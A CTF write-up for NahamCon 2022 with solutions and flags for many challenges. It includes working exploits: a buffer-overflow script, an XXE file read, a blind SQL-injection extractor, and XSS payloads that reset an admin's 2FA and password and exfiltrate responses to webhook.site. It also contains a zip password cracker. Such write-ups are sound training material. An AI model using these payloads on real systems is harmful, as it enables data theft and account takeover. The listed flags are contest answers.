# NahamCon CTF 2022

## Warmups

### Flagcat \[50 pts] <a href="#flagcat" id="flagcat"></a>

> **Description**
>
> Do you know what the `cat` command does in the Linux command-line?

#### Solution

```bash
cat flagcat
```

**Flag: flag{ab3cbaf45def9056dbfad706d597fb53}**

### Read the Rules \[50pts] <a href="#read-the-rules" id="read-the-rules"></a>

> **Description**
>
> Please follow the rules for this CTF!\
> \
> **Connect here:**\
> [Read The Rules](https://ctf.nahamcon.com/rules)

**Solution**

View Source on the rules page and the flag is in a comment

**Flag: flag{90bc54705794a62015369fd8e86e557b}**

### Technical Support \[50 pts] <a href="#technical_support" id="technical_support"></a>

> **Description**
>
> Want to join the party of GIFs, memes and emoji spam? Or just want to ask a question for technical support regarding any challenges in the CTF? Join us in the Discord -- you might just find a flag in the `#ctf-help` channel!\
> \
> **Connect here:**\
> [Join the Discord!](https://discord.com/invite/ucCz7uh)

**Solution**

Description of the ctf-help channel on discord has flag at the end

**Flag: flag{081fef2f11f3eec6059e3da9117ad3f0}**

### Prisoner \[50 pts] <a href="#prisoner" id="prisoner"></a>

> **Description**
>
> Have you ever broken out of jail? Maybe it is easier than you think!

**Solution**

So CTRL+D exited the input and then gives a python shell. Yay. From there the commands can easily show the flag.

```python
import os
os.system("sh")
ls
cat flag.txt
```

**Flag: flag{c31e05a24493a202fad0d1a827103642}**

### Exit Vim \[50 pts] <a href="#exit-vim" id="exit-vim"></a>

> **Description**
>
> Ah yes, a bad joke as old as time... can you exit `vim`?

**Solution**

Well press q (:q) Exits vim and prints flag

**Flag: flag{ccf44b43322be5659150eac8bb2a18c}**

### Crash Override \[50 pts] <a href="#crash-override" id="crash-override"></a>

> **Description**
>
> Remember, hacking is more than just a crime. It's a survival trait.

**Solution**

Decompliing the program gives a fairly simple solution of sending 2048 bytes to the server

```c
undefined8 main(void) {
  char local_808 [2048];
  
  setbuf(stdin,(char *)0x0);
  setbuf(stdout,(char *)0x0);
  signal(0xb,win);
  puts("HACK THE PLANET!!!!!!");
  gets(local_808);
  return 0;
}
```

So I attacked back with&#x20;

```python
from pwn import *

hostname = "challenge.nahamcon.com"
port =  30066
binary = remote(hostname, port)
print(binary.recvuntil("!!!!\n"))
print(binary.sendline(b"a" * 5196))
print(binary.recv(1024))
binary.interactive()
py
```

**Flag: flag{de8b6655b538a0bf567b79a14f2669f6}**

### Quirky \[50 pts] <a href="#quirky" id="quirky"></a>

> **Description**
>
> This file is seems to have some strange pattern...

```
\x89\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52\x00\x00\x00\x6f\x00\x00\x00\x6f\x01\x03\x00\x00\x00\xd8\x0b\x0c\x23\x00\x00\x00\x06\x50\x4c\x54\x45\x00\x00\x00\xff\xff\xff\xa5\xd9\x9f\xdd\x00\x00\x00\x02\x74\x52\x4e\x53\xff\xff\xc8\xb5\xdf\xc7\x00\x00\x00\x09\x70\x48\x59\x73\x00\x00\x0b\x12\x00\x00\x0b\x12\x01\xd2\xdd\x7e\xfc\x00\x00\x01\x25\x49\x44\x41\x54\x38\x8d\xd5\xd4\x31\x8e\xc3\x20\x10\x05\xd0\xb1\x5c\xd0\x25\x17\x40\x9a\x6b\xd0\x71\x25\xfb\x02\xb6\xf7\x02\xce\x95\xe8\xb8\x06\x92\x2f\x40\x3a\x0a\x94\xd9\x8f\x23\x45\xbb\xc5\x66\x68\x52\x2c\xa2\xe0\x21\x21\xcf\x0c\x83\x49\x7e\x0d\xfa\x1f\xcc\x44\x8b\xaf\x6b\xb0\x44\xac\xf2\x2e\x75\x72\xe3\x66\xea\x2a\x1d\x0c\x76\xc1\xe7\x82\x9d\x4c\x17\x27\x97\xc8\xd4\x4e\xae\x91\xd6\x62\xbb\x28\x75\x8e\xf5\x1a\xed\x2b\xc8\x37\x44\xbe\x73\xb4\x98\xaf\xf4\xdf\xf0\x1c\xf6\x5a\x7e\x16\xf6\x4f\x66\xb2\x64\x78\xf3\xc7\xee\x3a\xe8\x0f\xac\x25\x10\x39\x56\x79\x2f\x74\x71\xe3\x57\x94\x87\x11\x9d\xf1\xd8\x5b\x6c\x34\x79\x9d\x0f\x8f\xb3\xb2\xfb\x73\x53\xa5\x3b\x36\x33\xa2\xf8\x73\x60\x95\x52\xea\x10\xd3\xc5\xf0\x7e\x46\xf5\x9e\x77\x19\x6f\x6d\x4a\x76\x3a\x25\xa0\x49\xda\x05\xdd\x22\xab\x44\xbe\x38\x28\x25\xcd\xa5\x83\x92\x86\x82\x90\x0e\x14\x53\x67\x44\x1f\xd6\x39\xa0\xfe\xac\xb3\x9d\x95\xdd\x10\x19\x51\x89\x91\x3d\x21\xa4\xec\x58\x25\x3a\x76\xf2\x69\x68\xaf\x4c\x54\xe2\x2d\x2c\x1e\x95\xe4\xec\x59\x27\xae\x52\xd0\xb4\x34\x3c\xf3\x55\x89\x85\xf0\xc3\x71\x17\x0b\xdf\x42\x22\x27\x3a\xf1\x7e\xd1\x2d\x68\xaa\xa2\xb3\xe5\xdb\x3a\x56\xb2\xd1\xf9\xb9\x5f\xee\xa7\xf8\x0d\x69\xf5\x37\x77\x6e\xf8\x09\x97\x00\x00\x00\x00\x49\x45\x4e\x44\xae\x42\x60\x82
```

**Solution**

Cyberchef took care of the whole thing with the recipe #recipe=From\_Hex('%5C%5Cx')Parse\_QR\_Code(false)

**Flag: flag{b7e2a32f5ae629dcfb1ac210d1f0c032}**

### Wizard \[50 pts] <a href="#wizard" id="wizard"></a>

> **Description**
>
> You have stumbled upon a wizard on your path to the flag. You must answer his questions!\
> \
> **We are seeing some trouble with the very last question, asking for hexadecimal, when it really takes the answer in plaintext. We are rebuilding the challenge image but in the interim, please send it the&#x20;**_**plaintext**_**&#x20;rendition of your answer for question 6.**

**Solution**

Going through the NC it asks some static questions that need to be transcoded

First Question: What is the ASCII plaintext corresponding to this binary string? 010110100110010101110010011011110111001100100000001001100010000001001111011011100110010101110011

ans = Zeros & Ones

Second Question: What is the ASCII plaintext corresponding to this hex string? 4f6820776f77777721204261736520313020697320636f6f6c20616e6420616c6c2062757420486578787878

ans = Oh wowww! Base 10 is cool and all but Hexxxx

Third Question: What is the ASCII plaintext corresponding to this octal string? (HINT: octal -> int -> hex -> chars) 535451006154133420162312701623127154533472040334725553046256234620151334201413347444030460563312201673122016730267164

ans = We can represent numbers in any base we want

Fourth Question: What is the ACII representation of this integer? (HINT: int -> hex -> chars) 8889185069805239596091046045687553579520816794635237831028832039457

ans = This is one big ‘ol integer!

Fifth Question: What is the ASCII plaintext of this Base64 string? QmFzZXMgb24gYmFzZXMgb24gYmFzZXMgb24gYmFzZXMgOik=

ans = Bases on bases on bases on bases

All of this done through CyberChef and then it showed the flag.&#x20;

## Web

### Jurassic Park \[50 pts] <a href="#jurassic-park" id="jurassic-park"></a>

> **Description**
>
> Dr. John Hammond has put together a small portfolio about himself for his new theme park, Jurassic Park. Check it out here!

**Solution**

Access robots.txt

**Flag: flag{c2145f65df7f5895822eb249e25028fa}**

### Personnel \[50 pts] <a href="#personnel" id="personnel"></a>

> **Description**
>
> A challenge that was never discovered during the 2021 Constellations mission... now ungated :)

```python
#!/usr/bin/env python

from flask import Flask, Response, abort, request, render_template
import random
from string import *
import re

app = Flask(__name__)

flag = open("flag.txt").read()
users = open("users.txt").read()

users += flag


@app.route("/", methods=["GET", "POST"])
def index():
    if request.method == "GET":
        return render_template("lookup.html")
    if request.method == "POST":
        name = request.form["name"]
        setting = int(request.form["setting"])
        if name:
            if name[0].isupper():
                name = name[1:]

        results = re.findall(r"[A-Z][a-z]*?" + name + r"[a-z]*?\n", users, setting)
        results = [x.strip() for x in results if x or len(x) > 1]

        return render_template("lookup.html", passed_results=True, results=results)


if __name__ == "__main__":
    app.run()

```

**Solution**

So at this point sleep deprived I kept on falling for the red herring of settings could be a different number. Looking into the documentation the only thing it can be is 0 or a string "re.\[extension]". Someone told me this and it became clear the attack is more on the regex. So we came up with 2 options.\
Original - `1|(.*)|1` - which dumps all names and flag at the bottom\
Improved - `1|(flag.*)|1` - Only displays the flag

**Flag: flag{f0e659b45b507d8633065bbd2832c627}**

### EXtravagant \[50 pts] **(Author - to^)** <a href="#extravegant" id="extravegant"></a>

> **Description**
>
> **I've been working on a XML parsing service. It's not finished but there should be enough for you to try out.**\
> \
> **The flag is in /var/www**

**Solution**

Upload exp.xml and view it

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "/var/www/flag.txt"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
```

**Flag: flag{639b72f2dd0017f454c44c3863c4e195}**

### Flaskmetal Alchemist \[168 pts] (Author - to^) <a href="#flaskmetal-alchamist" id="flaskmetal-alchamist"></a>

> **Description**
>
> Edward has decided to get into web development, and he built this awesome application that lets you search for any metal you want. Alphonse has some reservations though, so he wants you to check it out and make sure it's legit.\
> \
> **NOTE: this flag does not follow the usual MD5 hash style format, but instead is a short style with lower case `flag{letters_with_underscores}`**

**Solution**

From requirements.txt, server uses `SQLAlchemy==1.2.17` and it is vulnerable to [sqli](https://www.cvedetails.com/cve/CVE-2019-7164/).

```python
import requests
import string
TARGET = "http://challenge.nahamcon.com:30378/"
FLAG_LENGTH = 0

# Find flag length
for i in range(30):
    order_by_inject = f"(SELECT CASE WHEN ((SELECT LENGTH(flag) from flag) = {i+1}) THEN atomic_number ELSE symbol END)"
    data = {"search" : "a", "order": order_by_inject}
    r = requests.post(TARGET, data)

    # with this payload, "aotomic number" column will return "89" before "12" if the WHEN condition is true
    if r.text.find("89</td>") > r.text.find("12</td>"):
        FLAG_LENGTH = i+1
        print(f"[-] Flag length: {FLAG_LENGTH}")
        break


# Find flag
FLAG = ""
for i in range(FLAG_LENGTH):
    for c in string.ascii_lowercase + "_}{":
        order_by_inject = f"(SELECT CASE WHEN ((SELECT SUBSTR(flag, {i+1}, 1) from flag) = '{c}') THEN atomic_number ELSE symbol END)"
        data = {"search" : "a", "order": order_by_inject}
        r = requests.post(TARGET, data)
    
        if r.text.find("89</td>") > r.text.find("12</td>"):
            FLAG += c
            print(f"[-] Flag: {FLAG}")
            break
```

**Flag: flag{order\_by\_blind}**

### Hacker TS \[**422** pts] (Author - to^) <a href="#hacker-ts" id="hacker-ts"></a>

> **Description**
>
> We all love our hacker t-shirts. Make your own custom ones.

**Solution**

The page renders text on t-shirts based on POST `text` param.

```javascript
x=new XMLHttpRequest;
x.onload=function(){
x1=new XMLHttpRequest;
x1.open("GET","https://webhook.site/f61d8f20-bc48-4ae9-805f-3db7a842363b?c="%2bencodeURIComponent(btoa(this.responseText)));
x1.send();
};
x.open("GET","http://localhost:5000/admin");
x.send();
```

![Webhook response](https://980792987-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Md9Bzo_DCKomMglV10a%2Fuploads%2FJV8pfFPHMmUGEUvz9hH8%2Fimage.png?alt=media\&token=1909556b-988d-4a47-9034-0f09c6e5e8f9)

![flag](https://980792987-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Md9Bzo_DCKomMglV10a%2Fuploads%2FbZL1ovJE9DjkMQfCF583%2Fimage.png?alt=media\&token=c5c2fe4c-1f79-4c4a-988d-7a2b67683284)

**Flag: flag{461e2452088b39b618a59344af631}**

### **Two For One \[473 pts] (Author - to^)** <a href="#two-for-one" id="two-for-one"></a>

> **Description**
>
> Need to keep things secure? Try out our safe, the most secure in the world!

**Solution**

This is a two factor authentication challenge using password and OTP.

The feedback features in `Settings` page is vulnerable to blind XSS

Solve steps: reset 2FA -> reset admin account’s password -> login as admin -> get flag

#### Get new otp auth value <a href="#get-new-otp-auth-value" id="get-new-otp-auth-value"></a>

```javascript
    var x = new XMLHttpRequest();
    x.open('POST', 'http://challenge.nahamcon.com:32084/reset2fa');
    x.setRequestHeader("Content-Type", "application/json");
    x.setRequestHeader("Accept", "application/json");
    x.onload = function() {
        navigator.sendBeacon('https://webhook.site/8771a7aa-4464-438a-84ac-7311eae5bd87', this.responseText);
    };
    x.send();
```



![OTP Auth](https://980792987-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Md9Bzo_DCKomMglV10a%2Fuploads%2FPEDnTm4nugLSku5crKEV%2Fimage.png?alt=media\&token=316617e6-98e5-4cb3-aa6e-1b2caf9f3f37)

Generate new Admin QR

```html
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>QR code page</title>
</head>

<body>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/qrious/4.0.2/qrious.min.js"></script>
    <div class="row">
        <div class="col-12">
            <canvas id="qr" style="margin-right: auto; margin-left: auto;"></canvas>
        </div>
    </div>
    <script>
        var qr = new QRious({
            size: 250,
            element: document.getElementById('qr'),
            value: "otpauth://totp/Fort%20Knox:admin?secret=QFBPNXXUIQ6D3LAD&issuer=Fort%20Knox"
        });
    </script>
</body>
</html>
```

![Admin QR Reset](https://980792987-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Md9Bzo_DCKomMglV10a%2Fuploads%2Fgax4dYLKdxNhDjHhdKJf%2Fimage.png?alt=media\&token=811516e5-316c-4fb2-9528-7103ac0a25ab)

Reset admin password

```javascript
    var x = new XMLHttpRequest();
    x.open('POST', 'http://challenge.nahamcon.com:30223/reset_password');
    x.setRequestHeader("Content-Type", "application/json");
    x.setRequestHeader("Accept", "application/json");
    x.onload = function() {
        navigator.sendBeacon('https://webhook.site/8771a7aa-4464-438a-84ac-7311eae5bd87', this.responseText);
    };
    x.send(JSON.stringify({
        otp: "063517",
        password: "to^",
        password2: "to^"
    }));
```

![](https://980792987-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Md9Bzo_DCKomMglV10a%2Fuploads%2FQCnP5LjvGBbYxOgLv9Ml%2Fimage.png?alt=media\&token=85d86f36-0f0b-4d8a-bf94-e08b107c8a3a)

**Flag: flag{96710ea6be916326f96de003c1cc97cb}**

## Binary Exploitation

### Babiersteps \[**50** pts] (Author - gocode) <a href="#babiersteps" id="babiersteps"></a>

> **Description**
>
> Baby steps! One has to crawl before they can run.

```c
undefined8 main(void) {
  undefined local_78 [112];
  
  puts("Everyone has heard of gets, but have you heard of scanf?");
  __isoc99_scanf(&DAT_00402049,local_78);
  return 0;
}
```

**Solution**

```python
from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())


# Set up pwntools for the correct architecture
exe = '/home/gocode/challenges/Nahamcon2022/binary/babiersteps'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

io = start()

# How many bytes to the instruction pointer (EIP)?
padding = 120

payload = flat(
    b'A' * 120,
    elf.functions.win
)

# Save the payload to file
write('payload', payload)

# Send the payload
io.sendlineafter(b'?', payload)

# Receive the flag
io.interactive()
```

Command: `python exploit.py REMOTE challenge.nahamcon.com 32730` or locally: `python exploit.py`

Flag:&#x20;

## Reverse Engineering

### babyrev \[392 pts] (Author - brosu) <a href="#babyrev" id="babyrev"></a>

> **Description**
>
> Aw look! Baby is using a disassembler!

**Solution**

```python
import gdb
import string
from queue import Queue, Empty
import re

MAX_FLAG_LEN = 0x26

gdb.execute("set disable-randomization on")
gdb.execute("delete")
#sp = Solvepoint("*0x56555a71")
queue = Queue()

username = "bossbaby\n"
flag = "flag"
ALPHABET = string.ascii_letters + string.digits + "{}_"

gdb.execute("break *0x555555555403")

for i in range(len(flag), MAX_FLAG_LEN):
    for c in ALPHABET:
        with open("in.txt", "w") as intxt:
            inlst = [username, flag+c]
            intxt.writelines(inlst)
        gdb.execute("run < in.txt")
        print(c)
        out = gdb.execute("p $eax", to_string=True)
        out = re.split(" = ", out)
        out = int(out[1])
        print(out)
        if(out > i):
            flag = flag + c
            print(flag)
            break
```

Flag:&#x20;

## Cryptography

### XORROX \[50 pts] <a href="#xorrox" id="xorrox"></a>

> Description
>
> We are exclusive -- you can't date anyone, not even the past! And don't even think about looking in the mirror!

```python
#!/usr/bin/env python3

import random

with open("flag.txt", "rb") as filp:
    flag = filp.read().strip()

key = [random.randint(1, 256) for _ in range(len(flag))]

xorrox = []
enc = []
for i, v in enumerate(key):
    k = 1
    for j in range(i, 0, -1):
        k ^= key[j]
    xorrox.append(k)
    enc.append(flag[i] ^ v)

with open("output.txt", "w") as filp:
    filp.write(f"{xorrox=}\n")
    filp.write(f"{enc=}\n")

```

**Solution**

Given the output I just decided to work the problem backwards with 2 facts in mind\
`flag[i] = enc[i] ^ v` and `key[index] = [1-256]` so key can be array with all 1s\
This leads to solving the enumerator and how it is going backwards so we can brute force what key is valid by verifying the k == xorrox\[myI]. Now that I have my whole key array I plug that in and knowing enc\[i] and key\[i] or v I can get the flag

```python
#!/usr/bin/env python3

import random
 
flag = "flag{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}"
key = [random.randint(1, 1) for _ in range(len(flag))] # Because I am lazy
xorrox=[1, 209, 108, 239, 4, 55, 34, 174, 79, 117, 8, 222, 123, 99, 184, 202, 95, 255, 175, 138, 150, 28, 183, 6, 168, 43, 205, 105, 92, 250, 28, 80, 31, 201, 46, 20, 50, 56]
enc=[26, 188, 220, 228, 144, 1, 36, 185, 214, 11, 25, 178, 145, 47, 237, 70, 244, 149, 98, 20, 46, 187, 207, 136, 154, 231, 131, 193, 84, 148, 212, 126, 126, 226, 211, 10, 20, 119]

myI = 0;
def getXor():
	myFlag = ""
	myI = 0 # solution Index
	for i, v in enumerate(key):
		found = False
		while not found:
			k = 1
			for j in range(i, 0, -1):
				k ^= key[j]
			if xorrox[myI] != k:
				key[i] += 1
			else:
				found = True
		myFlag += chr(enc[myI] ^ key[i])
		myI += 1
		print(myFlag)

getXor()
print(key)
```

**Flag: flag{21571dd4764a52121d94deea22214402}**

### Unimod \[50 pts] <a href="#unimod" id="unimod"></a>

> **Description**
>
> I was trying to implement ROT-13, but got carried away.

**Solution**

Since the only unknown thing in the problem is k our random range, the solution came by just brute forcing all values until it showed flag in the solution.

```python
import random

def encode(flag):
	k = random.randrange(0,0xFFFD)
	for c in flag:
    		ct += chr((ord(c) + k) % 0xFFFD)
	open('out', 'w').write(ct)

def decode(encFlag):
	for k in range(0, 0xFFFD):
		try:
			ct = '';
			for c in encFlag:
				ct += chr((ord(c) + k) % 0xFFFD)
			if "flag" in ct:
				open("outs","a").write(ct)
				print(ct)
				print(k)
		except:
			a = 1
flag = open("out", "r").read()
decode(flag)
```

Answer: k = 26396

**Flag: flag{4e68d16a61bc2ea72d5f971344e84f11}**

## Forensics

### A Wild Ride \[131 pts]  <a href="#a-wild-ride" id="a-wild-ride"></a>

> **Description**
>
> I've got this encrypted ZIP file filled with `.gpx`'es, and I just know there's a message in there...

**Solution**

So first things first, Password. Which was no problem for my little script I found online&#x20;

```python
import zipfile
from tqdm import tqdm

wordlist = "rockyou.txt"
zip_file = "gpx.zip"

# initialize the Zip File object
zip_file = zipfile.ZipFile(zip_file)
# count the number of words in this wordlist
n_words = len(list(open(wordlist, "rb")))
# print the total number of passwords
print("Total passwords to test:", n_words)

with open(wordlist, "rb") as wordlist:
    for word in tqdm(wordlist, total=n_words, unit="word"):
        try:
            zip_file.extractall(pwd=word.strip())
        except:
            continue
        else:
            print("[+] Password found:", word.decode().strip())
            exit(0)
print("[!] Password not found, try other wordlist.")

```

Was a little disappointed that the password was 7% in and crackme but oh well. I view all the gpx files and find an online viewer to get an image of the flag.Which was hard to read and verified with admin the flag

![](https://980792987-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Md9Bzo_DCKomMglV10a%2Fuploads%2Fez74r4nOv286mC2McEyv%2Fimage.png?alt=media\&token=e3784206-12a8-4c73-8ad2-02bb372c21d6)

**Flag: flag{gpx\_**_**is**_**\_cool}**

## Mobile

### Mobilize \[50 pts] <a href="#mobilize" id="mobilize"></a>

> **Description**
>
> Autobots. ROLLL OUTTT!!!!!

**Solution**

To start out this problem got me a little disappointed. I started with `apktool mobilize.apk` and went slowly through the folders to not see a normal pattern so I just did `strings mobilize.apk | grep "flag{"` which then printed out the flag

**Flag: flag{e2e7fd4a43e93ea679d38561fa982682}**

## Hardware/RF

### Cereal \[254 pts] <a href="#cereal" id="cereal"></a>

> **Description**
>
> "Oh no I dropped my cereal!!"

**Solution**

I noticed from another problem that you can open a .sal (SALAE) file with Logic 2 Extension. Opening the file, on the first line is the flag and URL link to a random video.

**Flag: flag{}**

### Dweeno \[368 pts] (Author - otolk1) <a href="#dweeno" id="dweeno"></a>

> **Description**
>
> We found this wack program running on an Arduino Mega using some spider-looking thing on a breadboard. The information we need is redacted in the program we found, but we managed to grab the serial output from the program. Help us figure out what this information is!

Solution

![](https://980792987-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Md9Bzo_DCKomMglV10a%2Fuploads%2Fh3YOtRSYCOqKg1ZHjugG%2Fimage.png?alt=media\&token=dc2e83d9-9295-401e-94ad-2035ae6ab172)

Flag:&#x20;



## Miscellaneous

### Steam Locomotive \[50 pts] <a href="#steam-locomotive" id="steam-locomotive"></a>

> **Description**
>
> I keep accidentally mistyping the `ls` command!

**Solution**

```bash
ssh -p 32422 user@challenge.nahamcon.com -t cat flag.txts
```

**Flag: flag{4f9b10a81141c7a07a494c28bd91d05b}**

### The Balloon \[133 pts] (Author - RJCyber) <a href="#the-balloon" id="the-balloon"></a>

> **Description**
>
> It's basically just a balloon... so it needs to be _inflated_!\
> File is below

```
it's basically just a deflated balloon - spin it around, _inflate_ it, and the prize is inside! 

wiieh://ephitqxc.rdb/tAQtEOTn
```

**Solution**

Well a raw inflate is implied but what does the link lead to.  Well once that link was found [https://pastebin.com/eLBePZEy](https://pastebin.com/eLBePZEy)\
it gave some raw text which put into cyberchef with raw inflate gives the flag\
[https://gchq.github.io/CyberChef/#recipe=Raw\_Inflate(0,0,'Adaptive',false,false)\&input=RDBVcDBJWlVubm5ubm5ubm5ubm5ubm5ubm5uVVU1bm5ubm5uM1NVVW5VVVV3Q2l1ZEliRUF0d3d3RXQzM0dwRERzR3dHMDNzRER0d3RzR3BERHR0MzMzMzN3d3cwMzMzM0dEZkJES1dDa09VWVltQ0Vpc0tZU2VNdWNNU0VVS1lFY01TZW1pWXV5ZW80](https://gchq.github.io/CyberChef/#recipe=Raw_Inflate\(0,0,'Adaptive',false,false\)\&input=RDBVcDBJWlVubm5ubm5ubm5ubm5ubm5ubm5uVVU1bm5ubm5uM1NVVW5VVVV3Q2l1ZEliRUF0d3d3RXQzM0dwRERzR3dHMDNzRER0d3RzR3BERHR0MzMzMzN3d3cwMzMzM0dEZkJES1dDa09VWVltQ0Vpc0tZU2VNdWNNU0VVS1lFY01TZW1pWXV5ZW80)

**Flag: flag{5119a30ef1c476b7c35f13b7c4901624}**

## Scripting

### **Lold1 \[383 pts]** <a href="#lold1" id="lold1"></a>

> **Description**
>
> HAI!!!! WE HAZ THE BESTEST LOLPYTHON INTERPRETERERERER U HAS EVER SEEEEEN! YOU GIVE SCRIPT, WE RUN SCRIPT!! AND FLAG IS EVEN AT `/flag.txt`.

**Solution**

At first I used the convert but it was giving so much weird stuff that I just did it myself at that point manually to come up with `print(open('./flag.txt').readline())` Which translated to `VISIBLE THEZ open THEZ "./flag.txt" OK OWN readline THING OK`

**Flag: flag{c1146bd8b0079fd75f857003afe2cc49}**

## Steganography

### Ostrich \[408 pts] <a href="#ostrich" id="ostrich"></a>

> **Description**
>
> This ostrich has a secret message for you.

**Solution**

This one took a fuck ton of code because I wasn't exactly sure what was brute forced at first.

```python
import imageio
from PIL import Image, GifImagePlugin
from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
import random
from apng import APNG

def splitAPNG():
	im = APNG.open("./result.apng")
	for i, (png, control) in enumerate(im.frames):
		png.save("./images/ostrich{i}.png".format(i=i))

def encoding():
	filenames = []
	flag = "REDACTED" 

	orig_filename = "ostrich.jpg"
	orig_image = Image.open(orig_filename)
	pixels = orig_image.load()
	width, height = orig_image.size
	images = []

	for i in range(len(flag)):
		new_filename = f'./images/ostrich{i}.png'
		new_image = Image.new(orig_image.mode, orig_image.size)
		new_pixels = new_image.load()
		for x in range(width):
			for y in range(height):
				new_pixels[x,y] = orig_image.getpixel((x, y))
				
		x = random.randrange(0,width)
		y = random.randrange(0,height)
		pixel = list(orig_image.getpixel((x, y)))

		new_val = l2b(pixel[2]*ord(flag[i]))
		pixel[0] = new_val[0]
		if len(new_val) > 1:
			pixel[1] = new_val[1]
		pixel[2] = 0

		new_pixels[x, y] = (pixel[0], pixel[1], pixel[2])
		new_image.save(new_filename)
		filenames.append(new_filename)
		images.append(new_image)

		APNG.from_files(filenames, delay=0).save("result.apng")

def decoding():
	filenames = []
	flag = "flag{" + "a" * 32 + "}" 
	myFlag = ""
	orig_filename = "ostrich.jpg"
	orig_image = Image.open(orig_filename)
	pixels = orig_image.load()
	width, height = orig_image.size
	images = []
	sets = []
	for i in range(len(flag)):
		new_filename = f'./images/ostrich{i}.png'
		new_image = Image.open(new_filename)
		new_pixels = new_image.load()
		for x in range(width):
			for y in range(height):
				if (new_pixels[x,y] != orig_image.getpixel((x,y))):
					pixel = list(orig_image.getpixel((x,y)))
					new_pixel = list(new_image.getpixel((x,y)))
					for f in range(0, 256):
						new_val = l2b(pixel[2]*f)
						lenCheck = len(new_val)
						if lenCheck > 1:
							if new_pixel[0] == new_val[0] and new_pixel[1] == new_val[1]:
								myFlag += chr(f)
								print(myFlag)
								f = 256
splitAPNG()
decoding()
# encoding()

```

In the end it was a piece of cake right

**Flag: flag{d3a5b80f96a3ce0dd0aedbefbc6b1fa1}**

## Keeber (OSINT)

### Keeber 1 \[50 pts] <a href="#keeber1" id="keeber1"></a>

> **Description**
>
> You have been applying to entry-level cybersecurity jobs focused on reconnaissance and open source intelligence (OSINT). Great news! You got an interview with a small cybersecurity company; the Keeber Security Group. Before interviewing, they want to test your skills through a series of challenges oriented around investigating the Keeber Security Group.
>
> The first step in your investigation is to find more information about the company itself. All we know is that the company is named Keeber Security Group and they are a cybersecurity startup. To start, help us find the person who registered their domain. The flag is in regular format.

**Solution**

Using the whois website [https://whois.domaintools.com/](https://whois.domaintools.com/) and searching for the domain keebersecuritygroup.com gave the flag under tech contact

**Flag: flag{ef67b2243b195eba43c7dc797b75d75b}**

### Keeber 2 \[50 pts] <a href="#keeber2" id="keeber2"></a>

> **Description**
>
> The Keeber Security Group is a new startup in its infant stages. The team is always changing and some people have left the company. The Keeber Security Group has been quick with changing their website to reflect these changes, but there must be some way to find ex-employees. Find an ex-employee through the group's website. The flag is in regular format.

**Solution**

Going to the way back you can find the flag under Tiffany Douglas Tile - https://web.archive.org/web/20220419212259/https://keebersecuritygroup.com/team

**Flag: flag{cddb59d78a6d50905340a62852e315c9}**
